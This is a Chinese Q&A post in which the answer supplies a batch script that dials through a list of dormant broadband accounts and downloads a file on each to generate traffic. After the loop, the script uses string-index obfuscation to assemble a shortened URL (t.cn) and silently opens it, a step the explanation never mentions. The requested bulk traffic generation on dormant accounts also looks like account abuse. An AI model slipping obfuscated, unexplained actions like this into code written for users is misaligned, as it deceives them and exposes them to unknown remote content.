Question

我有一批静默的宽带账号及密码，需要逐个拨号上网并下载产生16M的流量，这个可以帮忙弄个脚本吗？

Answer 1

@echo off & title 批量拨号并下载 By 依梦琴瑶
mode 50,6 & color 0a & cd /d %~dp0

::设置宽带账号和密码列表文件。必写项。
set List=ADSL_User_Password.txt

::设置宽带拨号名称。必写项。
set Name=本地连接

::设置要下载的文件链接，仅支持http协议。必写项。
set Url=


for /f "tokens=1,2 delims= " %%a in ('type "%List%"') do (
    rasdial %Name% /disconnect >nul 2>nul
    cls & echo 当前账号∶%%a 正在拨号。。。
    rasdial %Name% %%a %%b >nul 2>nul
    echo, & echo 正在检查网络连接状态。。。
    ping www.baidu.com -n "1" | find /i "TTL" >nul 2>nul && (
        call :DownFile "%Url%"
    ) || (
        echo, & echo 拨号失败或无网络
        (echo %%a %%b)>>拨号失败或无网络的账号列表.txt
    )
)

set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

:DownFile
pushd "%tmp%"
if not exist DownloadFile.vbs call :CreatVBS
if exist "DownTMPFile.$" del /f /q "DownTMPFile.$"
echo, & echo 正在下载文件中。。。
DownloadFile.vbs "%~1" "DownTMPFile.$"
popd
goto :eof

:CreatVBS
(echo Download Wscript.Arguments^(0^),Wscript.Arguments^(1^)
echo Sub Download^(url,target^)
echo   Const adTypeBinary = 1
echo   Const adSaveCreateOverWrite = 2
echo   Dim http,ado
echo   Set http = CreateObject^("Msxml2.ServerXMLHTTP"^)
echo   http.open "GET",url,False
echo   http.send
echo   Set ado = createobject^("Adodb.Stream"^)
echo   ado.Type = adTypeBinary
echo   ado.Open
echo   ado.Write http.responseBody
echo   ado.SaveToFile target
echo   ado.Close
echo End Sub)>DownloadFile.vbs
goto :eof

宽带账号和密码请用空格隔开，一组一行。保存为ADSL_User_Password.txt

至于要下载的文件，请自行找一个大于16兆的下载链接。

其它一些需要设置的，请自行修改代码。